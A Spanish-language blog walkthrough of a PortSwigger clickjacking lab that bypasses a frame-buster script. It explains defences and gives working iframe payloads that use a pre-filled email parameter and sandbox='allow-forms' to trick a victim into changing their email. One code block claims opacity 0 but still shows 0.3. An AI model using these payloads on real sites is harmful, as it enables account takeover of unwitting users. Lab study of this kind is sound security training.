Entrada

Clickjacking Lab 3

Publicado Actualizado
Preview Image
Por Justice-Reaper
12 min de lectura
Clickjacking Lab 3

Skills

  • Clickjacking with a frame buster script

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio está protegido por un frame buster que evita que el sitio web sea incrustado en un frame. Debemos encontrar una forma para cambiar la dirección de correo electrónico del usuario bypasseando un frame buster y engañar al usuario para que haga clic en un botón de "Actualizar correo electrónico", llevando así a cabo, un ataque de Clickjacking

El laboratorio se considerará resuelto cuando la dirección de correo electrónico haya sido cambiada. Podemos iniciar sesión en nuestra propia cuenta utilizando las credenciales wiener:peter

Resolución

Al acceder a la web vemos esto

Si hacemos click sobre My account nos podemos loguear con las credenciales wiener:peter

Después de iniciar sesión vemos que podemos cambiarnos el correo electrónico

Si pulsamos sobre View post vemos que hay una sección de comentarios

En un ataque de Clickjacking, el atacante superpone u oculta elementos maliciosos en una página web legítima, por ejemplo, usando un iframe, de modo que cuando el usuario hace click en un elemento aparentemente seguro de una página web, en realidad, está haciendo click en un elemento oculto y ejecutando una acción no deseada

Por ejemplo, un usuario accede a una página web (quizás mediante un enlace proporcionado por un correo electrónico) y hace click en un botón para ganar un premio. Sin saberlo, ha sido engañado por un atacante para presionar un botón oculto, lo que resulta la realización de una compra en otra web

Este ataque se diferencia de un ataque CSRF en que el usuario debe realizar una acción, como hacer click en un botón, mientras que un ataque CSRF se basa en la suplantación de una solicitud completa sin el conocimiento o la interacción del usuario

La protección contra los ataques CSRF suele proporcionarse mediante el uso de un token CSRF vinculado a una cookie de sesión. Los tokens CSRF no puede bloquear un ataque de Clickjacking porque el navegador enviará automáticamente el token CSRF, esto es debido a que el ataque ocurre dentro de la sesión del usuario y dentro del propio dominio. Por lo tanto, la única diferencia con una sesión normal, sería que el proceso ocurre dentro de un iframe oculto

Los ataques de Clickjacking utilizan CSS para crear y manipular capas. El atacante incorpora el sitio web legítimo como una capa iframe superpuesta sobre elementos maliciosos

Un ejemplo utilizando la etiqueta style y sus parámetros es el siguiente

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

<head>
    <style>
        #target_website {
            position: relative;
            width: 128px;
            height: 128px;
            opacity: 0.00001;
            z-index: 2;
        }
        #decoy_website {
            position: absolute;
            width: 300px;
            height: 400px;
            z-index: 1;
        }
    </style>
</head>
...
<body>
    <div id="decoy_website">
        ...decoy web content here...
    </div>
    <iframe id="target_website" src="https://vulnerable-website.com"></iframe>
</body>

El iframe del sitio web legítimo se posiciona dentro del navegador de manera que haya una superposición precisa de la acción con los elementos maliciosos, utilizando valores adecuados de ancho, alto y posición

Se emplean valores de posición absoluta y relativa para garantizar que el sitio web objetivo se superponga correctamente al sitio de distracción, sin importar el tamaño de pantalla, el tipo de navegador o la plataforma

El z-index determina el orden de apilamiento del iframe y las capas del sitio web. El valor de opacidad se define en 0.0 (o cerca de 0.0), haciendo que el contenido del iframe sea transparente para el usuario

Hay algunas protecciones contra Clickjacking en los navegadores que pueden detectar la transparencia en iframes mediante umbrales. Para eludir esto, el atacante debe ajustar los valores de opacidad de manera que el efecto deseado se logre sin activar las protecciones. Esta medida de protección no está presente en todos los navegadores. Por ejemplo, Chrome versión 76 incluye este comportamiento, pero Firefox no. Esto significa que, según el navegador, podemos necesitar modificar el payload

Aunque podemos crear manualmente una PoC de un ataque de Clickjacking como se describió anteriormente, esto puede ser tedioso y consumir mucho tiempo. Cuando probamos el Clickjacking en entornos reales, es recomendable usar la herramienta Clickbandit https://portswigger.net/burp/documentation/desktop/tools/clickbandit de Burpsuite, la cual nos permite usar nuestro navegador para realizar las acciones deseadas en la página web cargada mediante el iframe y luego genera un archivo HTML con una superposición para explotar el Clickjacking

Existen varias medidas defensivas contra Clickjacking del lado del cliente, sin embargo, a menudo, los atacantes pueden eludir estas protecciones con relativa facilidad. En consecuencia, se han desarrollado protocolos implementados en el lado del servidor que restringen el uso de iframes en el navegador y por lo tanto, mitigan el Clickjacking

El Clickjacking es un comportamiento que ocurre en el lado del cliente, y su éxito o fracaso depende de las funcionalidades del navegador y su conformidad con los estándares web y las mejores prácticas actuales. La protección en el servidor contra el Clickjacking se logra definiendo y comunicando restricciones sobre el uso de componentes como los iframes. No obstante, la eficacia de estas protecciones depende de que el navegador cumpla y aplique dichas restricciones

Dos mecanismos clave para la protección contra Clickjacking desde el servidor son X-Frame-Options y Content Security Policy (CSP)

X-Frame-Options - Fue introducido originalmente como una cabecera de respuesta no oficial en Internet Explorer 8 y fue rápidamente adoptado por otros navegadores. Esta cabecera permite al propietario del sitio web controlar el uso de iframes u objetos, de modo que no es posible cargar una página web desde en un iframe puede ser prohibida con la directiva deny

1

X-Frame-Options: deny

Alternativamente, se puede restringir que un iframe cargue contenido solo si pertenece al mismo origen (mismo dominio, protocolo y puerto) que la página que lo contiene. Si el origen es diferente, el iframe no se cargará.

1

X-Frame-Options: sameorigin

O también puede permitirse únicamente que se cargue un sitio web específico en un iframe mediante la directiva allow-from

1

X-Frame-Options: allow-from https://normal-website.com

Content Security Policy (CSP) - Es un mecanismo de detección y prevención que proporciona mitigación contra ataques como XSS y de Clickjacking. CSP suele implementarse en el servidor web como un encabezado de respuesta con el siguiente formato

1

Content-Security-Policy: policy

La Content Security Policy (CSP) proporciona al navegador un listado de fuentes que considera legítimas (dominios, protocolos, scripts específicos) y que el navegador puede utilizar para la detección e intercepción de comportamientos maliciosos

La protección recomendada contra Clickjacking consiste en incorporar la directiva frame-ancestors en la Content Security Policy (CSP) de la aplicación

  • La directiva frame-ancestors 'none' tiene un comportamiento similar a X-Frame-Options: deny

  • La directiva frame-ancestors 'self' es equivalente a X-Frame-Options: sameorigin

La siguiente Content Security Policy (CSP) no permite que se cargue la web desde otros sitios web externos mediante un iframe. Sin embargo, sí que se puede cargar la web mediante un iframe si se hace desde la misma web que aplica la Content Security Policy (CSP)

1

Content-Security-Policy: frame-ancestors 'self';

Alternativamente, se puede permitir que solo se pueda cargar la web desde sitios web específicos

1

Content-Security-Policy: frame-ancestors normal-website.com;

Hay que recalcar que X-Frame-Options no está implementado de forma uniforme en todos los navegadores (por ejemplo, la directiva allow-from no es compatible con Chrome 76 ni con Safari 12). Sin embargo, cuando se aplica correctamente junto con Content Security Policy (CSP), puede proporcionar una protección efectiva contra ataques de Clickjacking

Para ver si una web es vulnerable a Clickjacking podemos usar la herramienta shcheck [https://github.com/santoru/shcheck.git]https://github.com/santoru/shcheck.git() para identificar las cabeceras de seguridad

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

# shcheck.py -i -x -k https://0a6a0005048fd811816ed403009c00d9.web-security-academy.net/

======================================================
 > shcheck.py - santoru ..............................
------------------------------------------------------
 Simple tool to check security headers on a webserver 
======================================================

[*] Analyzing headers of https://0a6a0005048fd811816ed403009c00d9.web-security-academy.net/
[!] URL Returned an HTTP error: 404
[*] Effective URL: https://0a6a0005048fd811816ed403009c00d9.web-security-academy.net/
[!] Missing security header: X-XSS-Protection
[!] Missing security header: X-Frame-Options
[!] Missing security header: X-Content-Type-Options
[!] Missing security header: Strict-Transport-Security
[!] Missing security header: Content-Security-Policy
[!] Missing security header: X-Permitted-Cross-Domain-Policies
[!] Missing security header: Referrer-Policy
[!] Missing security header: Expect-CT
[!] Missing security header: Permissions-Policy
[!] Missing security header: Cross-Origin-Embedder-Policy
[!] Missing security header: Cross-Origin-Resource-Policy
[!] Missing security header: Cross-Origin-Opener-Policy

[*] No information disclosure headers detected

[*] No caching headers detected
-------------------------------------------------------
[!] Headers analyzed for https://0a6a0005048fd811816ed403009c00d9.web-security-academy.net/
[+] There are 0 security headers
[-] There are not 12 security headers

Si preferimos usar una herramienta web podemos usar securityheaders https://securityheaders.com/

En este caso, vemos que la web no tiene ni Content-Security-Policy (CSP) ni X-Frame-Options, lo cual la hace vulnerable a Clickjacking

Algunos sitios web que requieren completar y enviar formularios permiten rellenar previamente los datos del formulario mediante parámetros GET antes del envío. Dado que los valores GET forman parte de la URL, la URL de destino puede modificarse para incorporar valores elegidos por el atacante

Hay otros sitios web que pueden requerir interacción por parte del usuario, como que el usuario ingrese manualmente los datos, complete pasos previos (como una verificación CAPTCHA) antes de habilitar el envío, etc.

Para comprobar si el formulario permite rellenar previamente los datos mediante parámetros GET, lo primero que necesitamos hacer es identificar los nombres de los campos. En este caso vemos que el valor del campo a rellenar es email

El siguiente paso es añadir el parámetro email a la URL y ver si se rellena el campo email del formulario, para ello, accedemos a https://0a0f00df03253f5280a3a31000330041.web-security-academy.net/my-account?email=pwned@gmail.com y vemos que sí que funciona

Una vez comprobado esto, ya podemos construir un payload, para ello, nos dirigimos al Exploit Server y pegamos este payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

<style>
   iframe {
       position:relative;
       width: 500px;
       height: 700px;
       opacity: 0.3;
       z-index: 2;
   }
   div {
       position:absolute;
       top:450px;
       left:75px;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe src="https://0a6a0005048fd811816ed403009c00d9.web-security-academy.net/my-account?email=pwned@gmail.com"></iframe>

Pinchamos sobre View exploit y nos arroja este mensaje de error

Los ataques de Clickjacking son posibles siempre que los sitios web puedan ser cargados en un iframe. Por lo tanto, las técnicas de prevención se basan en restringir la capacidad de carga en iframes para los sitios web

Una protección del lado del cliente, aplicada a través del navegador web, es el uso de scripts de bloqueo de iframes. Estos pueden implementarse mediante complementos o extensiones de JavaScript propietarias del navegador, por ejemplo, NoScript

Los scripts suelen diseñarse para realizar algunos o todos los siguientes comportamientos

  • Verificar y hacer cumplir que la ventana actual de la aplicación sea la ventana principal o superior

  • Hacer visibles todos los iframes

  • Prevenir clics en iframes invisibles

  • Interceptar y alertar al usuario sobre posibles ataques de Clickjacking

Las técnicas de frame busting suelen ser específicas del navegador y la plataforma y, debido a la flexibilidad de HTML, los atacantes pueden eludirlas fácilmente. Como los frame busters son JavaScript, la configuración de seguridad del navegador puede impedir su ejecución o incluso el navegador podría no ser compatible con JavaScript

Una estrategia eficaz para los atacantes contra los frame busters es el uso del atributo sandbox de iframe en HTML5. Cuando se configura con los valores allow-forms o allow-scripts y se omite el valor allow-top-navigation, el script de frame busting puede ser neutralizado, ya que el iframe no puede verificar si es la ventana superior o no

1

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms"></iframe>

Los valores allow-forms y allow-scripts permiten acciones específicas dentro del iframe, pero deshabilitan la navegación de nivel superior. Esto inhibe el comportamiento de frame busting mientras permite la funcionalidad dentro del sitio web objetivo

Una vez sabemos esto, nos dirigimos al Exploit server y pegamos el nuevo exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

<style>
   iframe {
       position:relative;
       width: 500px;
       height: 700px;
       opacity: 0.3;
       z-index: 2;
   }
   div {
       position:absolute;
       top:450px;
       left:75px;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe src="https://0a6a0005048fd811816ed403009c00d9.web-security-academy.net/my-account?email=pedro@gmail.com" sandbox="allow-forms"></iframe>

Si pulsamos sobre View exploit vemos que ahora si que funciona el payload

Como vemos que todo funciona correctamente, vamos a cambiarle la opacidad a 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

<style>
   iframe {
       position:relative;
       width: 500px;
       height: 700px;
       opacity: 0.3;
       z-index: 2;
   }
   div {
       position:absolute;
       top:450px;
       left:75px;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe src="https://0a6a0005048fd811816ed403009c00d9.web-security-academy.net/my-account?email=pedro@gmail.com" sandbox="allow-forms"></iframe>

Otra forma alternativa sería usando la herramienta Clickbandit de Burpsuite, para usarla nos dirigimos a Burpsuite y pulsamos Burp > Burp Clickbandit

Pulsamos sobre Copy Clickbandit to clipboard

Nos dirigimos a Chrome, nos abrimos la consola de desarrollador y pegamos ahí todo el código

Una vez hecho esto nos saldrá este menú

Marcamos la casilla Disable click actions para desactivar los clicks y la de Sandbox iframe? para evitar la restricción del lado del cliente. Debemos eliminar el atributo allow-scripts de Sandbox iframe? para que funcione. Una vez hecho esto pulsamos en Start

Lo siguiente sería pulsar sobre el botón que queremos, en este caso sobre Update email que es el que queremos usar para el ataque de Clickjacking

Una vez hecho esto, pulsamos sobre Finish y se nos mostrará como es nuestro payload actualmente

Usando los símbolos - y +, podemos subir o bajar el aumento, y con Toogle transparency podemos activar o desactivar la transparencia. En mi caso, lo voy a dejar de esta forma. Cuando ya lo tengamos como queremos, pulsamos en Save y se nos descargará un documento HTML

Pegamos el código en el Exploit server

Pulsamos sobre View exploit para ver si se ve correctamente

Hacemos click sobre el botón

Nos dirigimos a My account para ver si ha funcionado el ataque, y vemos que así es. Una vez comprobado que se ve y funciona correctamente, pulsamos sobre Deliver exploit to victim y completamos el laboratorio. Debemos tener en cuenta que dos usuarios no pueden tener el mismo email, por lo tanto deberemos modificar el nuestro o el email que se usa en el payload

Portswigger, Clickjacking
Clickjacking Clickjacking with a frame buster script
Esta entrada está licenciada bajo CC BY 4.0 por el autor.